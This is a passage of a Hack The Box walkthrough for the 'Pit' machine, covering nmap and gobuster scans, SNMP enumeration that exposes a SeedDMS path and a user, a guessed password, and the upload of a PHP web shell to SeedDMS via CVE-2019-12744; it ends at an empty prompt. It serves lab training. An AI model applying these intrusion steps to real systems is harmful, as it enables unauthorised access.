NamePit
DifficultyMedium
Release Date2021-05-15
Retired Date<don’t know>
IP Address10.10.10.241
OSLinux
Points30

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

foothold

I really spent too much time on the initial foothold on this box, but that’s thanks to its characteristics. I was still able to keep going even not having done all my enumeration because it was taking so long that I just went to the HTB Forum thread looking for clues (and did find them).

I started as usual with a normal nmap scan:

# Nmap 7.80 scan initiated Fri Jun 18 22:44:07 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.241
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.48s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.80%T=SSL%I=7%D=6/18%Time=60CD1CE3%P=x86_64-redhat-linu
SF:x-gnu%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-T
SF:ype:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\n
SF:X-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-
SF:Content-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20sa
SF:me-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20
SF:\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20
SF:<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset
SF:=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"widt
SF:h=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbo
SF:dy\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedH
SF:atDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif
SF:;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.666
SF:66667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#3333
SF:33;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\
SF:x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20bord
SF:er:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-ali
SF:gn:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fo
SF:nt-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0margin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\
SF:x20request\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-E
SF:ncoding:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Polic
SF:y:\x20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin
SF:-Resource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html
SF:>\n<head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</t
SF:itle>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=
SF:\"text/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewp
SF:ort\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x
SF:20\x20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0font-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\
SF:x20Arial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20font-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0line-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 18 23:25:37 2021 -- 1 IP address (1 host up) scanned in 2489.27 seconds

So, not much running on the box, just ssh, a nginx test page and something on port 9090 (with ssl certificate for a domain dms-pit.htb). I decided to fire a gobuster on the nginx site and check what was running on port 9090:

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ gobuster dir -u http://pit.htb -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://pit.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/06/19 00:40:20 Starting gobuster
===============================================================
===============================================================
2021/06/19 00:42:56 Finished
===============================================================

cockpit

The “normal” web server looks like it’s hosting nothing besides the nginx test page and the service running on port 9090 is actually Cockpit, a web interface that allows you to control/manage your server. Searching for Cockpit CVEs didn’t turn up with something meaningful besides CVE-2020-35850 which would actually help me if I needed to find some open port on localhost or something (exploit-db.com ready made script). Didn’t look like I had any use for it at the moment so I kept a reference and continued my enumeration.

Having nothing to go on, I wanted to do some enumeration on the dms-pit.htb domain, so I ran gobuster on it too, because you never know, there might be some vhosts in place.

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ gobuster dir -u http://dms-pit.htb/ -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://dms-pit.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/06/19 00:46:20 Starting gobuster
===============================================================
/_conf (Status: 403)
/_configs (Status: 403)
/_config (Status: 403)
/_confirm (Status: 403)
/_vti_conf (Status: 403)
/aaa-config (Status: 403)
/app_config (Status: 403)
/appearances (Status: 403)
/autoconfig (Status: 403)
/cartconfig (Status: 403)
/commconfig (Status: 403)
/conf (Status: 403)
/configfiles (Status: 403)
/config_paybox (Status: 403)
/conferences (Status: 403)
/confidential (Status: 403)
/confetti-brides (Status: 403)
/confarc (Status: 403)
/conference (Status: 403)
/config (Status: 403)
/config-old (Status: 403)
/configs (Status: 403)
/confirm (Status: 403)
/configuracion (Status: 403)
/confirmare (Status: 403)
/configurator (Status: 403)
/configuration (Status: 403)
/configurazione (Status: 403)
/confirmacio (Status: 403)
/configure (Status: 403)
/confirmations (Status: 403)
/confirmation (Status: 403)
/contacts_confirm (Status: 403)
/disappear (Status: 403)
/disappearing (Status: 403)
/dm-config (Status: 403)
/esw_config (Status: 403)
/getconfig (Status: 403)
/hsconfig (Status: 403)
/ip_configs (Status: 403)
/myconfigs (Status: 403)
/pear (Status: 403)
/pearljam (Status: 403)
/pearl (Status: 403)
/sbconf (Status: 403)
/scriptconf (Status: 403)
/site-config (Status: 403)
/siteconfig (Status: 403)
/sitemap.xml (Status: 403)
/slurpconfirm404 (Status: 403)
/templates_conf (Status: 403)
/typo3conf (Status: 403)
/web.xml (Status: 403)
/webconfig (Status: 403)
/wp-config (Status: 403)
===============================================================
2021/06/19 00:48:56 Finished
===============================================================

Empty handed again. One ting I did notice is that every tested URL that contained “conf”, “app” or “pear” got denied (403). Again, it really doesn’t give one much information, but I ended up just taking note of it and kept going.

The last thing I remembered to do was to run an UDP nmap scan to check for any open ports, and this was where I failed. When I change from TCP to UDP, I normally just reuse the same command but add -sU to run a UDP scan, which turns out to be something like nmap -p- -sV -sC -oN nmap-udp -sU pit.htb. The problem with this is that it scans all the UDP ports and CentOS servers are actually very tight in firewall rules and block lots of things, making this scan take forever. Still, at this time, I just let it run since I had nothing else to do.

With nothing to be found on anything being served, and with the UDP scan going, I thought that maybe I was just not enumerating enough, I still hadn’t saw what I needed to see to get my foothold, but something was missing in my method. This was when I went to the HTB Forum Pit thread. People talking about “walking”, which I assumed was related to exhaustively enumerate everything, and then there was this guy (zer0bubble), that said that HTB Twitter’s announcement of the box had a pretty good hint. So, I tracked that one:

I don’t know why it actually “clicked” on me reading that tweet, and not on the forum thread, but when I saw “WALK”, I thought: “It has to be something related to snmpwalk!”

So, guess what? I quickly installed it, and run it on the box:

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ snmpwalk -v2c -c public pit.htb system
SNMPv2-MIB::sysDescr.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (12117656) 1 day, 9:39:36.56
SNMPv2-MIB::sysContact.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
SNMPv2-MIB::sysName.0 = STRING: pit.htb
SNMPv2-MIB::sysLocation.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.7 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.8 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.2 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.3 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.4 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.5 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.6 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.7 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.8 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.9 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.10 = Timeticks: (1) 0:00:00.01

And there is the confirmation! The box was running an SNMP daemon. The reason I didn’t find it was because snmp runs on the UDP or TCP, but defaults to only UDP afaik. At this point and left the nmap scan running but kept digging into the SNMP information.

With SNMP we can query lots of stuff about a system and what it really tells you just depends on how it’s configured. Normally, at least the system OID should be showing (that’s why we had that output), but there are lots of OIDs, proprietary ones, open ones, specific to devices, etc., but it this case, what I really wanted was just everything. “Everything” is represented as a “.” for snmpwalk, so I just run that one.

  1┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
  2└─$ snmpwalk -v2c -c public pit.htb .
  3SNMPv2-MIB::sysDescr.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
  4SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
  5DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (3768363) 10:28:03.63
  6SNMPv2-MIB::sysContact.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
  7SNMPv2-MIB::sysName.0 = STRING: pit.htb
  8SNMPv2-MIB::sysLocation.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)
  9SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
 10SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
 11SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
 12SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
 13SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
 14SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
 15SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
 16SNMPv2-MIB::sysORID.7 = OID: IP-MIB::ip
 17SNMPv2-MIB::sysORID.8 = OID: UDP-MIB::udpMIB
 18SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
 19SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
 20SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
 21SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
 22SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
 23SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
 24SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
 25SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
 26SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing IP and ICMP implementations
 27SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing UDP implementations
 28SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
 29SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
 30<snip>
 31UCD-SNMP-MIB::prIndex.1 = INTEGER: 1
 32UCD-SNMP-MIB::prNames.1 = STRING: nginx
 33UCD-SNMP-MIB::prMin.1 = INTEGER: 1
 34UCD-SNMP-MIB::prMax.1 = INTEGER: 0
 35UCD-SNMP-MIB::prCount.1 = INTEGER: 3
 36UCD-SNMP-MIB::prErrorFlag.1 = INTEGER: noError(0)
 37UCD-SNMP-MIB::prErrFix.1 = INTEGER: noError(0)
 38UCD-SNMP-MIB::prErrFixCmd.1 = STRING: 
 39UCD-SNMP-MIB::dskIndex.1 = INTEGER: 1
 40UCD-SNMP-MIB::dskIndex.2 = INTEGER: 2
 41UCD-SNMP-MIB::dskPath.1 = STRING: /
 42UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
 43UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
 44UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
 45UCD-SNMP-MIB::dskMinimum.1 = INTEGER: 10000
 46UCD-SNMP-MIB::dskMinimum.2 = INTEGER: 100000
 47UCD-SNMP-MIB::dskMinPercent.1 = INTEGER: -1
 48UCD-SNMP-MIB::dskMinPercent.2 = INTEGER: -1
 49UCD-SNMP-MIB::dskTotal.1 = INTEGER: 2611200
 50UCD-SNMP-MIB::dskTotal.2 = INTEGER: 125600
 51UCD-SNMP-MIB::dskAvail.1 = INTEGER: 349500
 52UCD-SNMP-MIB::dskAvail.2 = INTEGER: 75496
 53UCD-SNMP-MIB::dskUsed.1 = INTEGER: 2261700
 54UCD-SNMP-MIB::dskUsed.2 = INTEGER: 50104
 55UCD-SNMP-MIB::dskPercent.1 = INTEGER: 87
 56UCD-SNMP-MIB::dskPercent.2 = INTEGER: 40
 57UCD-SNMP-MIB::dskPercentNode.1 = INTEGER: 7
 58UCD-SNMP-MIB::dskPercentNode.2 = INTEGER: 4
 59UCD-SNMP-MIB::dskTotalLow.1 = Gauge32: 2611200
 60UCD-SNMP-MIB::dskTotalLow.2 = Gauge32: 125600
 61UCD-SNMP-MIB::dskTotalHigh.1 = Gauge32: 0
 62UCD-SNMP-MIB::dskTotalHigh.2 = Gauge32: 0
 63UCD-SNMP-MIB::dskAvailLow.1 = Gauge32: 349500
 64UCD-SNMP-MIB::dskAvailLow.2 = Gauge32: 75496
 65UCD-SNMP-MIB::dskAvailHigh.1 = Gauge32: 0
 66UCD-SNMP-MIB::dskAvailHigh.2 = Gauge32: 0
 67UCD-SNMP-MIB::dskUsedLow.1 = Gauge32: 2261700
 68UCD-SNMP-MIB::dskUsedLow.2 = Gauge32: 50104
 69UCD-SNMP-MIB::dskUsedHigh.1 = Gauge32: 0
 70UCD-SNMP-MIB::dskUsedHigh.2 = Gauge32: 0
 71UCD-SNMP-MIB::dskErrorFlag.1 = INTEGER: noError(0)
 72UCD-SNMP-MIB::dskErrorFlag.2 = INTEGER: error(1)
 73NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
 74NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
 75NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING: 
 76NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING: 
 77NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
 78NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
 79NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
 80NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
 81NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
 82NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
 83NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
 84              total        used        free      shared  buff/cache   available
 85Mem:          3.8Gi       385Mi       3.1Gi        16Mi       378Mi       3.2Gi
 86Swap:         1.9Gi          0B       1.9Gi
 87Database status
 88OK - Connection to database successful.
 89System release info
 90CentOS Linux release 8.3.2011
 91SELinux Settings
 92user
 93
 94                Labeling   MLS/       MLS/                          
 95SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
 96
 97guest_u         user       s0         s0                             guest_r
 98root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
 99staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
100sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
101system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
102unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
103user_u          user       s0         s0                             user_r
104xguest_u        user       s0         s0                             xguest_r
105login
106
107Login Name           SELinux User         MLS/MCS Range        Service
108
109__default__          unconfined_u         s0-s0:c0.c1023       *
110michelle             user_u               s0                   *
111root                 unconfined_u         s0-s0:c0.c1023       *
112System uptime
113 20:33:45 up 10:30,  0 users,  load average: 0.00, 0.11, 0.22
114NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 31
115NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
116NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
117NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING:               total        used        free      shared  buff/cache   available
118NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem:          3.8Gi       385Mi       3.1Gi        16Mi       378Mi       3.2Gi
119NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap:         1.9Gi          0B       1.9Gi
120NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
121NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
122NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: System release info
123NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: CentOS Linux release 8.3.2011
124NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux Settings
125NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: user
126NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: 
127NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING:                 Labeling   MLS/       MLS/                          
128NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
129NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: 
130NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: guest_u         user       s0         s0                             guest_r
131NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
132NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
133NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
134NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
135NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
136NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: user_u          user       s0         s0                             user_r
137NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: xguest_u        user       s0         s0                             xguest_r
138NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: login
139NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: 
140NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: Login Name           SELinux User         MLS/MCS Range        Service
141NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: 
142NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: __default__          unconfined_u         s0-s0:c0.c1023       *
143NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: michelle             user_u               s0                   *
144NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: root                 unconfined_u         s0-s0:c0.c1023       *
145NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: System uptime
146NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING:  20:33:45 up 10:30,  0 users,  load average: 0.00, 0.11, 0.22
147NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = No more variables left in this MIB View (It is past the end of the MIB tree)

I’ve <snip>ed most of the output to leave just the interesting parts. On this output there were 3 things that caught my attention:

  • Line 42: STRING: /var/www/html/seeddms51x/seeddms
  • Line 73-74: Where SNMP “states” that is running /usr/bin/monitor
  • Line 143: There’s a user named michelle

With the first one, we have found a directory that, by the name, is served under the domain dns-pit.htb but that we didn’t find because the folder name isn’t on the list I used (don’t think it’s on any list at all). The second just tells me that theres is some command that shows extra information the admin wanted to be shared via SNMP for monitoring purposes. The 3rd one is kinda obvious, there’s a user in the system named michelle that should probably hold the user flag. Last but not the least, there is some kind of database running on the server, which we can see with the line “OK - Connection to database successful.”.

What I needed to focus right now was on that website, and everything else was kinda of secondary, at least until I had my foothold.

seeddms

Great! Another login prompt. Not much we can do until we have some credentials so, I just went on to search for CVEs for SeedDMS. There was an interesting one (CVE-2019-12744) that allowed for RCE on the box but I had to authenticate first. I really needed to find some way to find a password. I went back to the snmpwalk output to check for clues but nothing, but then I decided to try some random ones… 1 or 2 minutes later I posted this message on a Discord chat with some friends:

Guess what! michelle’s password is… “michelle” 😆😆😆😆

dms-loggedin

So, now, if the SeedDMS version is 5.1.10 or bellow, we can use the RCE CVE mentioned above and should be golden for our foothold. Problem was that there was this “Upgrade Note” from the Administrator saying this:

Dear colleagues, Because of security issues in the previously installed version (5.1.10), I upgraded SeedDMS to version 5.1.15. See the attached CHANGELOG file for more information. If you find any issues, please report them immediately to admin@dms-pit.htb.

Oh damn! Out of luck ☹️. I quickly downloaded http://dms-pit.htb/seeddms51x/seeddms/CHANGELOG just to be sure, and I had confirmation. The damn site was running 5.1.15. Since I’ve lost my way in, or at least the planned one, I needed to get back and research fore some more bugs on this version now. After 30 minutes or something, I just said: “Fuck it, maybe it’s not patched anyway and only the CHANGELOG file was changed”. So I tried to run the exploit which is just to upload a simple php shell on the user’s documents folder.

dms-webshell-upload

So, now we just need to run the actually uploaded file. The file itself is in at /data/1048576/<DOC_ID>/1.php, where <DOC_ID is the ID for the document we just uploaded (just clicking on the document and checking the URL will show you something like http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewDocument.php?documentid=52&showtree=1, so ID 52 in this case).

OK, so far so good, now let’s pray that this actually works 🙏

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
